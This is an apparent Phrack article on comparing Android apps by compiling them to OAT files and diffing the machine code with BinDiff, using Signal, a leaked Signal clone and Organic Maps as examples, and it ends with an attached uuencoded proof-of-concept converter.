ls -lah /data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/app.organicmaps-2xFay0QEb95pHRC_k_T1gA= =/oat/arm64/base.odex -rw-r--r-- 1 system all_a306 14M 2025-02-29 15:51 /data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/app.organicmaps-2xFay0QEb95pHRC_k_T1gA= =/oat/arm64/base.odex ``` Pull the file from your (virtual) device and you are ready to go! We'll save our example as `app.organicmaps.odex`. ---[ 3.3 - How Can We Disassemble OAT Files? It's an ELF! Throw it in your favorite disassembler. They all do reasonably well, we checked by looking at the function boundaries [12]! ```console $ file app.organicmaps.odex oats/PXL8_everything/app.organicmaps.odex: ELF 64-bit LSB shared object, ARM aarch64, version 1 (GNU/Linux), dynamically linked, stripped ``` We use Ghidra 11.0.3 because it supports the BinExport [13] plugin and is freely available. We provide a script to do this headlessly, but using the GUI works just as well. ```console $ ./ghidra_export_binexport.sh app.organicmaps.odex app.organicmaps.odex.BinExport [...] Total Time 75 secs [...] ``` Not bad, let's try this with a more complex app like Signal [14]: ```console $ ./ghidra_export_binexport.sh org.thoughtcrime.securesms.odex org.thoughtcrime.securesms.odex.BinExport [...] Total Time 2642 secs [...] ``` Well, this is hardly ideal. Taking almost an hour to prepare an app will not scale, even though we need to disassemble each OAT file we want to compare only once. In the script we already included some speedups, like disabling the GCCExceptionAnalyzer, which takes time but in our case is pointless, since the OAT file has never seen GCC. But modern apps are ridiculously big. The Signal app has around 500k Dalvik methods alone, not counting native libraries. Its Linux app has around 40k, including all dynamically loaded libraries such as glibc. No wonder it takes almost an hour to analyze the OAT. Fortunately, Android provides another way to see the disassembly with the oatdump utility. Similar to objdump, it displays information from oat files in human-readable form. It is fast but produces a lot of output. We can get almost all information we could need like this: ```console $ adb shell oatdump --oat-file=/data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/\ app.organicmaps-2xFay0QEb95pHRC_k_T1gA==/oat/arm64/base.odex \ > app.organicmaps.odex.oatdump $ cat app.organicmaps.odex.oatdump [...] 3: double app.organicmaps.util.LocationUtils.correctAngle(double, double) (dex_method_idx=27942) DEX CODE: 0x0000: 1400 0400 0000 | const v0, #+4 0x0003: 1401 0100 0000 | const v1, #+1 0x0006: 9000 0001 | add-int v0, v0, v1 0x0008: 9400 0001 | rem-int v0, v0, v1 0x000a: 3c00 0500 | if-gtz v0, +5 0x000c: 2a00 1200 0000 | goto/32 +18 0x000f: cb53 | add-double/2addr v3, v5 0x0010: 1805 182d 4454 fb21 1940 | const-wide v5, \ #+4618760256179416344 0x0015: cf53 | rem-double/2addr v3, v5 0x0016: 1600 0000 | const-wide/16 v0, #+0 0x0018: 3002 0300 | cmpg-double v2, v3, v0 0x001a: 3b02 0300 | if-gez v2, +3 0x001c: cb53 | add-double/2addr v3, v5 0x001d: 1003 | return-wide v3 0x001e: 2a00 f1ff ffff | goto/32 -15 [...] CODE: (code_offset=0x00816520 size=92)... 0x00816520: d1400bf0 sub x16, sp, #0x2000 (8192) 0x00816524: b940021f ldr wzr, [x16] StackMap[0] (native_pc=0x812528, dex_pc=0x0, register_mask=0x0, \ stack_mask=0b) 0x00816528: f81e0fe0 str x0, [sp, #-32]! 0x0081652c: f9000ffe str lr, [sp, #24] 0x00816530: fd000be8 str d8, [sp, #16] 0x00816534: f94002b5 ldr x21, [x21] StackMap[1] (native_pc=0x812538, dex_pc=0x0, register_mask=0x0, \ stack_mask=0b) 0x00816538: 5c0001e8 ldr d8, pc+60 (addr 0x00816574) (6.28319) 0x0081653c: 1e612800 fadd d0, d0, d1 0x00816540: 1e604101 fmov d1, d8 0x00816544: f942027e ldr lr, [tr, #1024] ; pFmod 0x00816548: d63f03c0 blr lr 0x0081654c: 1e602008 fcmp d0, #0.0 0x00816550: 1a9f37e0 cset w0, hs 0x00816554: 1e682801 fadd d1, d0, d8 0x00816558: 7100001f cmp w0, #0x0 (0) 0x0081655c: 1e611c00 fcsel d0, d0, d1, ne 0x00816560: fd400be8 ldr d8, [sp, #16] 0x00816564: f9400ffe ldr lr, [sp, #24] 0x00816568: 910083ff add sp, sp, #0x20 (32) 0x0081656c: d65f03c0 ret 0x00816570: 5800007f ldr xzr, pc+12 (addr 0x0081657c) \ (0xd1400bf0006c564f / -3368679395845974449) 0x00816574: 54442d18 unallocated (Unallocated) 0x00816578: 401921fb unallocated (Unallocated) ``` We say it contains almost all information because the output refers to the code_offset relative to the oatdata section in the OAT file. To get this offset, we can use readelf: ```console $ adb shell readelf -s /data/app/~~ICLdeF7FOXIe1b9MxToZGQ==/\ app.organicmaps-2xFay0QEb95pHRC_k_T1gA==/oat/arm64/base.odex \ | grep 'oatdata$' 1: 0000000000000658 2865576 OBJECT GLOBAL DEFAULT 5 oatdata ``` Now we know we need to add 0x658 to the addresses in the oatdump output. If we want to compare it directly to Ghidra's output, we also need to add 0x100000 unless Ghidra used a different base address. ---[ 3.4 - Wait, Where Did the Arithmetic Go? Eagle-eyed readers might have noticed some dummy arithmetic operations in the Dalvik code, with a goto instruction at the end, that seemingly vanished during compilation. We're sorry we were not completely honest. We did not use the regular build of Organic Maps, but instead a version that was repackaged with ObfuscAPK [15], using the "ArtithmeticBranch" obfuscation. This adds a branch at the beginning of each method with an arithmetic expression that always resolves to the same code being executed. The ART helpfully removed this obfuscation as part of its optimizations. This means we get some free normalization of code along the way, as a treat! Not enough to deal with advanced techniques, but enough to make a difference. To compare the same method without obfuscations, here's another oatdump of the original Organic Maps app: ```console $ cat app.organicmaps_unobfuscated.odex.oatdump [...] 3: double app.organicmaps.util.LocationUtils.correctAngle(double, double) (dex_method_idx=27942) DEX CODE: 0x0000: cb53 | add-double/2addr v3, v5 0x0001: 1805 182d 4454 fb21 1940 | const-wide v5, \ #+4618760256179416344 0x0006: cf53 | rem-double/2addr v3, v5 0x0007: 1600 0000 | const-wide/fix16 v0, #+0 0x0009: 3002 0300 | cmpg-double v2, v3, v0 0x000b: 3b02 0300 | if-gez v2, +3 0x000d: cb53 | add-double/2addr v3, v5 0x000e: 1003 | return-wide v3 [...] CODE: (code_offset=0x00953118 size=92)... 0x00953118: d1400bf0 sub x16, sp, #0x2000 (8192) 0x0095311c: b940021f ldr wzr, [x16] StackMap[0] (native_pc=0x953120, dex_pc=0x0, register_mask=0x0, \ stack_mask=0b) 0x00953120: f81e0fe0 str x0, [sp, #-32]! 0x00953124: f9000ffe str lr, [sp, #24] 0x00953128: fd000be8 str d8, [sp, #16] 0x0095312c: f94002b5 ldr x21, [x21] StackMap[1] (native_pc=0x953130, dex_pc=0x0, register_mask=0x0, \ stack_mask=0b) 0x00953130: 5c0001e8 ldr d8, pc+60 (addr 0x95316c) (6.28319) 0x00953134: 1e612800 fadd d0, d0, d1 0x00953138: 1e604101 fmov d1, d8 0x0095313c: f9420a7e ldr lr, [tr, #1040] ; pFmod 0x00953140: d63f03c0 blr lr 0x00953144: 1e602008 fcmp d0, #0.0 0x00953148: 1a9f37e0 cset w0, hs 0x0095314c: 1e682801 fadd d1, d0, d8 0x00953150: 7100001f cmp w0, #0x0 (0) 0x00953154: 1e611c00 fcsel d0, d0, d1, ne 0x00953158: fd400be8 ldr d8, [sp, #16] 0x0095315c: f9400ffe ldr lr, [sp, #24] 0x00953160: 910083ff add sp, sp, #0x20 (32) 0x00953164: d65f03c0 ret 0x00953168: 5800007f ldr xzr, pc+12 (addr 0x953174) \ (0xd1400bf00077d5ba / -3368679395845220934) 0x0095316c: 54442d18 unallocated (Unallocated) 0x00953170: 401921fb unallocated (Unallocated) [...] ``` As you can see, the resulting binary code is the same, modulo offsets. Simple code-based obfuscations, such as dead code, are eliminated during the creation of the .odex file. The power of the optimizing compiler compels thee, binary! ---[ 3.5 - Cool, Anything Else? *sigh* So why do we need root to access the .odex file? It's because it is typically compiled based on profiles, and those essentially register usage patterns. > Imagine an app containing a method called `buy_drugs_and_do_crime`. > -- F. K. If a method ends up in a profile, it means it's been called often enough to be considered for AOT compilation. And if it's in the profile, then it ends up in the odex as binary code. Reading the odex would leak the information which methods are called often, so Android tries to protect it. If you find a way to read this nevertheless, especially from another app, congratulations: this might earn you a bounty and/or spying^W information gathering capabilities. --[ 4 - A Bit of Putting the Bits together > YES ... HA HA HA ... YES! Now that we can create BinExport files from oat files, which contain the executed machine code of an app's Dalvik code, we can calculate similarities! We prepared a couple of applications to demonstrate results. We will use Organic Maps (app.organicmaps) as a smaller baseline and Signal (org.thoughtcrime.securesms) as a complex, real-world application. We prepared the latter in a couple versions: 2.42.2, 2.32.2, 2.22.2, 2.12.2, and 2.2.4. The oldest version is from Summer 2024, one year ago, and we chose it because it is the basis for the leaked TeleMessage (TM) SNGL app's source code. It's an unofficial clone of Signal with added functionality to save messages centrally and was used by White House staff in early 2025. We used the source [16] to build a release version and compare it with our approach to the OG Signal app. 1. org.tm.archive_7.2.4.2.apk (release build of leaked TM SGNL app) 2. org.thoughtcrime.securesms_7.2.4.apk (Signal version closest in source code to TM SGNAL app) 3. org.thoughtcrime.securesms_7.12.2.apk 4. org.thoughtcrime.securesms_7.22.2.apk 5. org.thoughtcrime.securesms_7.32.2.apk 6. org.thoughtcrime.securesms_7.42.2.apk (Different version of Signal) 7. app.organicmaps_25052005_orig.apk (Organic Maps) 8. app.organicmaps_25052005_obfuscated.apk (Repackaged using ObfuscAPK's ArithmeticBranch pass) We downloaded the Organic Maps app from F-Droid and repackaged it ourselves. The TM SGNL app we built from source in a release configuration and downloaded the historic Signal versions from apkmirror.com because the official GitHub and website didn't offer such old versions of the app. We then created BinExport files for all OATs and present the results of the full cross-comparison below. All confidence scores were above 98%. ```txt ,-org.tm.archive_7.2.4.2 | | 1./ ,-org.thoughtcrime.securesms_7.2.4 | 2. | 88% | 2./ ,-org.thoughtcrime.securesms_7.12.2 | 3. | 80% | 88% | 3./ ,-org.thoughtcrime.securesms_7.22.2 | 4. | 77% | 84% | 91% | 4./ ,-org.thoughtcrime.securesms_7.32.2 | 5. | 71% | 78% | 84% | 89% | 5./ | 6. | 69% | 76% | 81% | 86% | 94% | 6. -org.thoughtcrime.securesms_7.42.2 ``` Two clear outcomes of this cross-comparison of app versions are visible: Versions that are closer also show, unsurprisingly, a higher similarity score. The similarity is also high between the app clone TM SIGNL and Signal, even though additional functionality was added that allows for "archiving" messages. This also holds for app versions close to the version used as basis for our TM SGNL build. No table is needed for comparing Organic Maps to Signal versions: Any version of Signal scores only 6% similarity with Organic Maps. The confidence plummets as well to less than 30%. However, BinDiff reports a similarity of 85% with a confidence of 98% for the original and obfuscated versions of Organic Maps. --[ 5 - A Bit of an Outlook > Warning: API levels rising. Creating BinExport files takes a long time for complex apps and if a use case like clustering is the goal, we're looking at days of preprocessing. As mentioned, the oatdump output contains many details about the binary code, and we started working on a proof-of-concept binexport2oatdump tool, included in this submission. The idea is simple: use the presented commands to compile an APK to an OAT file (takes seconds), run oatdump (takes seconds), parse the output (takes about a minute, they are large), and then just create a BinExport protobuf (protocol buffer) file, containing all disassembly information one would need Ghidra for. We implemented this as a Python script that can utilize all the information oatdump provides to speed up the preprocessing step. We have exact function boundaries with mnemonics and resolved branch targets if they are known at compile time. We can parse the Dalvik code to create the call graph instead of trying to reverse it from the binary information. Functions contain basic blocks in one sequence without weird branches (except thunks). Our PoC successfully creates BinExport files from oat files an order of magnitude faster than Ghidra. > But ... But it currently makes BinDiff run an order of magnitude longer for calculating a similarity score. For clustering, this is the opposite of what we want. The preprocessing step only runs once per app, so it scales linearly with the number of apps: O(n). But the comparison runs between each app pair, O(n^2). (Well, half of that but big-O doesn't care about such details). Out of time, out of ideas, and motivated to test in production, we've still attached our work in progress and will continue improving it. For now, dear reader, you have the choice between slow preprocessing and slow comparisons. Hopefully, not for long, then comparisons will be fast, robust, and useful to you! Just one more thing. We talked about how apps are using native libraries for performance. Integrating them into a code-analysis framework always required to bridge the gap between Dalvik and machine code. If we have the Dalvik code as binary, though, we don't need to bridge a gap that doesn't exist. We're working on using our trick of using dex2oat not just to process an app's Dalvik code, but also its native libraries, making holistic app analysis and comparison possible. Until then, you can use your favorite binary tooling to analyze them all without having to maintain two toolchains. --[ 6 - A Bit of Summary and Thanks > ceterum censeo scientia vult esse libera In a system as complex as Android, change is the only constant. The fact that Dalvik is unique to this ecosystem does not make it easy to maintain tools, and so a lot of things that once were useful become more error-prone with time. But this evolution also opens up new possibilities. We looked at how Android changed and how it currently builds and executes apps. The problems this creates, but also the doors this opens. We walked through the process of creating binary odex files from APKs and how to prepare them for BinDiff. We show that it's practical to compare apps and that this approach even applies free code normalization, removing some obfuscations in the process of recompilation. Finally, we also provide a PoC script showing that there is significant speedup to be gained: Sidestepping the long disassembly process and utilizing oatdump to create BinExport files directly. This hack will make code-based similarity scalable for a large amount of apps and allow hunting for suspicious APKs, be it to find clones, for malicious apps, just for fun, or for profit. It's our pleasure to submit this work to Phrack, which inspired not only this line of work but also our enthusiasm for looking behind the curtain, to hack, and to share. And special shoutout to: - Sebastian Bachmann, aka reox for telling us about the neat tool called Elsim - Felix Kehrer for listening to our Android rants and also ranting about Android --[ 7 - A Bit of References [0] https://phrack.org/issues/68/15#article [1] https://github.com/themoep/elsim [2] https://web.archive.org/web/20170713094900/\ https://www.theverge.com/2017/7/12/15958372/google-machine-learning-ai-\ app-store-malware-security [3] https://github.com/EFForg/apkeep [4] https://web.archive.org/web/20250421110118/\ https://developer.android.com/build/shrink-code [5] https://github.com/lilicoding/SimiDroid [6] https://github.com/JakeWharton/diffuse [7] https://github.com/ramazansancar/Dexofuzzy2 [8] https://github.com/soot-oss/SootUp [9] https://youtu.be/ajGX7odA87k?t=1873 [10] https://github.com/google/bindiff [11] https://organicmaps.app/ [12] https://dl.acm.org/doi/10.1145/3578357.3591219 [13] https://github.com/google/binexport [14] https://signal.org/ [15] https://github.com/Mobile-IoT-Security-Lab/Obfuscapk [16] https://github.com/micahflee/TM-SGNL-Android/ [17] https://github.com/ThexXTURBOXx/dex2jar/issues/16 --[ 8 - And That Makes a Byte (code) Attached is a PoC for oatdump2binexport, extract with: `$ cat ${THISFILE} | sed -n '/^begin 664/,$p' | uudecode` begin 664 oatdump2binexport.tar.gz M'XL(`````````^Q;:W/;1I;U5^-7]-*N2;)E$OT"T%"BS"JRUO:.7R7)F>QZ M77(_1<04P2%`VXK'^]OW-$"*M"W)BN/U9&J#2DP(:/3CWG///1=LCM):MVYQ M,N.FFOK7LWK>IM<^\T%Q%$46/UF1T>4GZZXOCVLLHT*P+"^*XAIE(L_I-9)] M[HF<=RR:5L\)N?:S?E&;2]I][/X_Z3$ZQ_^ST]F\_MG;=M36)Y/?/D9T<)[+ M"_V?X1S^YR)C@DNT8WF6Y=<(_>U#?_SX?^[_IV913=RP.6U:?_(LF?N_+:JY M;\@V>3H8Z]:.)]7T>/`LZ9L9;5_XJ</=]<U1=VN0)$^7J'F63/6)CVUJQXT? M)"_]O*GJ:;Q"1VQ$!XGSC9U7LW9Y=8<LVFI2M:>DK<E,SQM/EJ@DH9I@-AIC M#C`Y[?J.]_=V;C_8&YVXP=F,A[/3=MQW]_VV&#$>1YEALGYJJWY!"<$QB+WX M21C<ZO^TD\J^6/TQJ8\7\\7JK_9O[F1UCK6UM5G$QYZMESKJE]$\2SZ(HK/U M;YWH:CI(_M&.ON`X+_[/K/N9QOA(_#/!Q'O\#R+(_HC_+W'<(/M=5"7)C1OD MWA3&F$QTC,LD^:LGNFD6B+C3>D'&^J4GS^UB/GE^BSSOPL'B+$;F\\7+YZ3J MG_5NE"3/GS^W];2I)SZ)#Y!QV\Z:K32=ZU>CXZH=+\RB\7,T:?VT'=GZ)#VN MZ^.)3]<8G/O0I*T^;M*7C*^O\U$W,AG6I`NN#^XD_<S(<-B=',UT.][NFL9+ M'44<U8MV>>G\/DBR>$F:TZF-"^D,\Z31QS`1%DKFBRGY,-CU;#:JG7_=GRRY M*Y[_4$WWNB9]1WNO6S^?Z@FYO>*F4_)C3X]-D@S)I#+]`K:(&'$&&DNZYX[' ME9MK<C9@DAR./6G&?C(A/0>10=_FJ&]P=-9TU(P'!)V^K%S'I,3KYA3NPD2" MMCY2[A@0`,U.)J<$3@%=MW$D/3\E7V,MWRQ)&`W7"^XNC<@]+'W2U`3^1-\8 MQ@\UEG?:5,UJ7GC,58TV$T]V5K=F`%9\`)V._2EQ]?2KEISH%UB2GX+]0SV/ M1FXP35+/G9_'7IJ9]XXL9DMC-,1Y0&=6]7@=_5X9]O=]G,?_%P/IT\;XB/X7 M/,O.^#^7_!KEC$$&_L'_7^"X\2^1_E*CFW%R@^`#(085U4,@;1:S#A%=3/_B M[_8\`:9J?$N&8,2[>_<?/SBXLSUX<K!S9V^+W*3DNVHZ6W2P`8$<A:@%OR?? M@7.75Y>PZF]`-MX@VOT,+T0J:&+*(5/$N7>W2'426^IINT7LV-L7L059B4ET M`P&&V9K3[OJ:FF:3Q7$U'9&J_:H!,2UTY+5IW0U`0!:^:9,[=^_=WM^Y?6]_ M>W#SS=D?6\/_26_[YD5;SU9!P*!71^+H\9,?[M_;?3M(#G;W[ST^?+QS>'=[ MM&RSU(#)X_U'_[&W>WC_T>[.X;U'#\_N+[5B7*FICGM>BTLDDQIG=2#[.P]N M87*1,L?U8H(E>>*G]>)XG#S8^>G!WH-MP>]$.ZWI<QY3[:3Z!23Z*N8`LVB) MG2VP7"0J8L'RS:QZX4=(*"=52\#0^-?5OHE$:S7HFC23^I6K7R'O'-Z-BN]@ M6R5)%<A3,OR%#&ZR04RRW2D?D&??1NM-.RWL[;@F-]\L7?^VO_8:_;,D5$ER M[^'C)X?;-]FW6$T5VN31D\-W+ZP,]7#GP=[V\PBYKEZX^:9[\BT29=(-,=A? M3*<H,%;);YFEL&)(B,Z9H9Y@$;$)\-CBL]D:+)]=/32I;9<>M@C9</3;LV9+ MYVRTN_GF/4>N&W?SA,.6#W5];BQFW;`=QRJCZ=+B5K0/&BZMO&YTXD]JI-B8 MZWY^>;+5->K]O6[3Q5*7;/MNR)F9SIKTD;79YN:;WN9G;9:?PRD9'(#MVC62 MHGSKP^;/Y#`B\*0Z'B-28BK6Y-48G8[(T]/TX3.,]*<_D;@L/-3$\Z<8"*=; MPX=O4>R<DF?D[W]?`2$Y>>&J.1G.SC%GDMS?>?)P]^[1@T>W][;#<?+C@YW] M.T?W[QT<;@^&/_VT]7@)[SN[A[T=M]?6(['![KW=+O'[^6Z]F+:;MSM"N:\7 M4SLF*[K:Z=EK/L*MPT>W'VV1ZLR'<<)-V]PB@V%/-P,2=#59EIQ11%KT,-B( M3/C4C2(W3?P)Y&N'&@++37QH(WOYUY"V5=,)JPC2<:R9YTFR";\S8IUT,T5F M19B]V3#+VP'YV;T@=SH0#U<+B8U6"(GG:\.]70%^%$5GK*9'JW`9[;Q+WN2_ M^XKVYGM^&:PO13`/ENV69HG#+8&WNM'SWF,(;#AYS8MO5_=G==,>]!KPD6[/ MA/#H9_U2Q^Y6(#UK/_?+YK=[O7AG=_?,=?&A/Q3>YS_.TW^+ER/0X8O/-L;E M]3^3T'VK]W\9DZRK_V7QA_[[$L?ZW1R[[%5:\O3I##P&<?%L_7JO?W6V^7I/ MC=A(#9*F7LQM;/(&">,8_(HT%U\9+E\#S$YGU:B>'Z=-QZ(#\O;\5W5OR-E( M]:2>ZQ,]N(4J<0XZC1=GT')(GB='_<M+LKU-OOIK-86F:;Y"G_%%78/*L^WF M$5]#;$RA+U_[=8[!4Z#T.*'E&IO4E"GW*:4EM284HK3>%XZ+0C'MI%&E+E4I MM6294%X&&Z05S%GG"IJ90GFC3-I99]A99`2(C8Y_P>S'T-EQ'LU8\RS?\BX3 MMG2J+*E3PG+-"^>US]&I]T(4LA`A%X):*JG&")+SS)99(1W+:9E'>S00@>B1 M\SPK!2SY:NS]9-.&OW+EA4^=Q+_&&4=%6="\P*JYUA964'E9,*RQ=,843$L; M+,HVJW.?<<X*5:B2V\V5`TIB.*VG\;7`Z>C5>/*A#7)AF>#&&.\0^(72&!'C M<<>"+`MC<NY*RRQU@I>F**G0*L\Y5Y07/!>&KVU0*J94[_CS\;I"T;MOI.4H M_Q3(?C*VG$HSD>9!2OA>2ZU$IG0I=%Z4W'-M0S"E*UUF#=69#4YAJ;F4IC`, M[2GW,EVM9-C-_D)X4?@K"^BH\"[W-!-,<YK!;&7!\5\AK"R,LMIG.A<AV!RM M,"ZGS/C<2[D!KP+/?`9T.9:Z/!5EGL';TN:"2NZI+*S)M<"8CF$F6F14%;@" MC&LM-$-CI6V66X#LO;4#8'ST<9#)P%Q9EBQDVEIJ-6-E*!T\D'-JB@+GN4&\ M4>$S1AFS+#<Z9(4.AJL,AMFP1"9$=@G(EE\AO`NQ8B2^%"N"#(]6S-A1(NHC MP7M"?/?Q[L80E9-MJQ-_Y4Y^`ZL*G=(LU<QI+UP(CK%(8Z4LF,VE`*UR"0?I M/.-2,O!I#H`$-,ZELO"@MCKMS3OL3'HA[EDI%<U4Z8O"180[E1EN%2^T*S,G M2Q,$,Q1\[5ED38SK3<:<8PITY\V&MW.19>5GP#VU*2]3*J1R/L\0<[80W`'< M8'F?%XKF$D#DVJO2..NYH5*'0E*N2IO!#LJ^L_(KT"IB'<S,J%6>>88PXR8X M2"V-I3HH+5O84`20#O.@`1<HE0RTFDL@GG-J-VS`LO(RQ%_X+=\&X+VKVNX5 M,.Z.K@+M3EI\B-EE='UXX^S[N0]OK;[P^_!.]P7?:F7+A8U.?*N=;O7ZR]#A M$N^_@TF>8_ZS3C<]D(\$G/!%TUJ6I<ZGBB.D<Z;*`M`R/`0O*`\N8UKK(C<F MY$Q`\P?*K"MSSP$Z+<LL<P!1NEK*L)_^A?&=B2P8B03E4#3DJA1(6H%!#6@: M$,$ATHK!=5UH4^;<ETXCPUHO:0:V5W2-;<E+I*#/$.!*I"%/N9(YM;*,PPG. M2Q\#RB+<P'5@N4P$`VZSQI520BLYDYL\"&M+P\3[JQ_:F6!TJ$TEAAW]GA_G M1M.X9#`>Y%.7[9$IJ73(FCFD`RNDIX(SY4J12VTD=9!0A5*6X=,5?L,6K$05 MM@;@K[1`F</Y:4$EYF!$B,RF8`>3J8P[SJTOH9$]U9B!,C1@*"T*D3F82QH/ M?:$_8H$C?>)R>;X5O)-*(HL[\'U`YR:`42&<<FNM,S)X'F!K5BI.0U21.M,N M8&SX!62<A0TK8$A:?+(5#$U-GD9RAP^H=4%FA8M%@340>MH7W9I+9KWUCDL( M;)$9F5'J!62'E#H[SPIE;X03;>OF]1&C1^718EK%>->3"W"AM0R%"QHZRRE) M#9Q-%5"(+&`D0R(**#0\S;7B<).569;#.@*W,!]:9)NX*+*B_&2+!*0^CNSG M,'X6<A_'0WKC$K:`H[2/Q43IE<&P*IHITZ7/`X_YG\F\E/Y2BTQ/)]5T\1J: M51YI/;?CBR`"D8D2`O&/J!->04I;Q"72>^XU!)_'8"6#SD3UAL"!3SR@*0LP M229@RPU1(%@AV*<;A.<IHZE2*%ZT-/!3GL/[`?'@2EBCD%#E0*M`<G8P";@A M@R=-9%:)$D`5Y94-\EKE1Q>&C*`J[K-#21DT-)B$Q$9M01$_X*\2/M!<F5!: MZ@MJB\SY`/QD(!L3HB;>M$?.F?AD>^BN)L@1'0+1BYH3U2\P"&N8',5N%SK& M"AXP+:<14++(9*!10C(/&:GS#^QQ!7ED>0:M[P'W,J`L"!JE9*D"U"=E.30: M1:PHH%`Z`ZL4T$D,HK&D*%<S839HD^4PB;PD0:]2^V9^CM\J?=GT+'CJ#&I/ MS8+@7LA,J2B#G1'*ZZ!YT.``Q0*'X(0*9="IDI;>@Z<S9`83BG2YD&$W^0N3 M<QD*L"\B#*H5<+(2\$7>$=([CTR/0@P*7$5Q('4)N6\<<"9B.H\A\$[162KQ M67*S3E61!@V)@2`OH/J-D@9Q'NM?9"45"@]X93E@X`H!6QCDR@X@6EN0I'MW MZ5>`EP6,K.8BIG\8L8C[FB2Z5BHKH?LSB")&RP*`B[!#T4&UR3,4!V6`%*!F M([B0O>DEZ.KDX2:T4!07GX:MW]M+.*U2:9`Y@(V(62J@'P$CJ)B,%67N7"$S M9'==(/NCM&.2`U!2,P_?@K$@#]-HG6%OD0L!&Y3VH+F,6PI5)%!^!D&]%C+( M#@`H05%+`;HEJ!>**0,UBOCV*;Z'*@+?I`*D\\_RFH2F@J;.@N>40KQHCJ+- M*HU141^Z@A<@90%EQ914ILA1."(S,/SE'0L0.G)SY5?`:WS!E'FKA5)!<8^U MH2OJ,H7_992PBL(&7E/D2>$S<*0!\Y9&0[T#M1LV*%0F+\/K>V\=WB5%_E[9 M^']-BD:D*D"S9A1L!=\*Z83)44<@O90`FY.Q7"\@K560,*MAJ%NXE*AHD*JM MUCSMUG.T6L^P6\.%4-.>!1>U.LA&4JT]S6S&&+B%L5(PE`>Y%A08T\8C+0.6 M12Z=U9F*[^KL9N$"!OT,0/,LI45J<Y1IV@F?JTQ``4"Z"B2^(D?R+1DO2V&L M40XE@X)A"J@#H;@3!;2*.=<`5T!<F4',0^I`7$`/:@6Y)S"P1NWFE#46?;N" M&F&@?(QG4![(^'E\+UDZ)LI-4T#'](#[1W^9\D]X7+S_:[FMY3/\&N17_/X# MN:[H]O_CXX_??WR!X^/^O^#+^%\QQD?V?W.D\7?]SWEL]L?WOU_@2-/59MMN M!]%Z9]"QM=VFN:F/&V#T_#1)ECM!HO?[+28/].S;L\L;^T]ZZ(SZW2O]G@ZT MFRW,I++$3G33G+/%@_C7+>1G0S8?(V^2Y/IL7KW4K2=-W&QC,<^X@?J@G<>- M7^C@:.^GW;W'<0O+T=V=A[?O[^T?',4=+#'9X#;9>VU]_U.3NWKJ)M`;@V^[ M;'E9OS_L'-S;/=I]]/#@\&A_[]_W]O<>[NX=[3S<N?^?_[6W?];_#[K!D[MU MW/P^;<F^#WX.`;W<ZHQ58:A+Y[^S_^#CHZ#1;QGCX'!G]R]GG1VT2/[QD>3Z MOSV"^II7SL?GZ[;?3_FRKES<Y?[U-W$;&W3\A@'?)->OP^G?]1W?6@[P/:F[ MVU&''/MV=S''_-K59N]'_;V=J?M13Q:^^=KV]Q_/ZV.4$]\`&=>O5X%\O>QD M%'\7H*MI\Q=_^O4E[OWFFVXZUZ$\WAWJO0%N78:16V00]*3Q`TP#?<&*TW8R M_7H0T>_/ECWN<4/T"JK+#>VN?^PM_D<<80VGD*[K6$(4P;ZG9*+GQ_Y6]RN* M?GM=MV4^RMIZT2[[BGZJV_'&($WL]5\[VYQKFBL@=&DB0/WC1KI"=^\:JP^@ MWERF"X/XFX\6FGV%SW/-M=S&2-Y>O+*/QL357?_1KBX"@)Z?7&T]O?LO6,DZ M\JX^Y?4S_]O>MW8U<B0+[E?S*ZJ+.1?)"+4DQ'.,9VA:W>::!A^@;<\"MZ:D M*D$92<5623QN;__WC8A\/TJ([KG>NWM:QVY`E1D9&1D1&1$9&56%6XD27(V- MH/#WKY?@K\]+2_/LXN?W?R=W[\5[S#/[_SHX'&+_[VRUNYC_O[7>^;;__QF? MUZ][_$+/;#)@2CPN`[G@3)&A[TZ)]L.L`(D`=3;#U->%MW[=<,CRYCN`Z7QY M>"*WF;]:<.^8:#3'>9*.FG&2%)36RGZ>I5.[O4R!9?P,!FN/_[)X2Q>903YN MLFMJS3(%H<VF3TUU-T923`UE&CRZ&%6:.BBV:E-F-LIB^[(0>JDDY&!IL8M6 M`?QBZ%^V=5]<X6KRC9OAL0]_UU"54-/ON`V!?"!"..&JJ;.:T/<8GM7JJZ$B M!#>R4#7B$$WH?SV]"7X,6G4-W^\TP-CLHG7%^WU>DHV088(AM)BD#_1'3?32 M)E0Q\_@>T9_FN^'J$!'=[Y?Y:#9-,6^Y5D?K0P`0G0+!#'Q`9VEKVJB*"U%N M6`?UG=[2I=D[+G(?0)5?(UC]R[(V+69IO0G6>2\>W-1J(*#U8.U'&`9%`/_$ MYF_RY`FFH<_#3XAKL.7#5>B,BS4;<QS!'(-%"V+Q5Z@#ZN?Y*,6K)+,!^@`P M.]J.U)30A%%+B1_55$H4^Z4V;`3V3A>7C6"<3[)I7NB&03#`J^4U1Q*#M&Z- M5CU3,;JTX736U[NFS6G.6)R8P49"TTHO&5[K]M*!%?E!<#@YZXN,RV\_\2[# MV>B586X%*2S=0A,0-SQCD+'$!++$_OT\UZ3X]OE_Z..S_]BMZ'_=&`O&_SJ= MS=96&]NUNW@-]%O\[T_X5*]_%&6@FJ.H>??TE6/,M_^WNEL;\OY'=W,+[W]L M;FU]N__[IWRX<8N',Z.L+VS=O!2_%:GXK7R27^)!S]*PR-%%'HU2[C?PATDZ MC&>C:9(-IJP-EF``V.(Y&E[2<Z`42C46';++4?Y7,F806$*E``!_7>.%.GI$ MO*KL\$YTU^^(AG)7PR(*T@I_"\S^2UR4L//VBB(O:G*KKN\RDSO&&\Y:AW@: MLR<PM4"(1:T$5!L!%GV@(A,-416"_P4F?A%'^7`('O]>BX,F$PGZ-64WL)3D M[U83#1RVTOYT&P**?"QH2M^"F1>93\#2TY$R@>A/R'JK:HC7"M,"+;Q/G\TG MXW1ZDR?\B?FH%#RR%UQ<6<^B:`2K%\5%$3^QY];C(GZ(%&RG/]4+JM6M;S$3 M+.)^A8[W18B%2HH9X8.GEJ$U'CN>Q%[T2X1<%J&[43,7C@^(+.$A-;;5UGPY MB$=4^&.:W:>CIUW!ZL%:&?SE9/\\>G=XU`O^=W!=I'?!VD/`H<$W\<-ML/+I M$UEJ0=AZ#/_2^:SH+M>+PVORGS:NS6$V22*^"K6PF3Q-RJ=Q2`Y'!+_U\U$M MY(/"M[PAN=IRK"*=SHH)'U)-GI'?FB_=T,[OTDG-8>5&$!;]L([>TG#7L$9] MW,!FA%^5SA)'-'0D@+,%UEMEP^`=.BR[0/\D[<^NC>&8&FD"GP_2&B5IR:)3 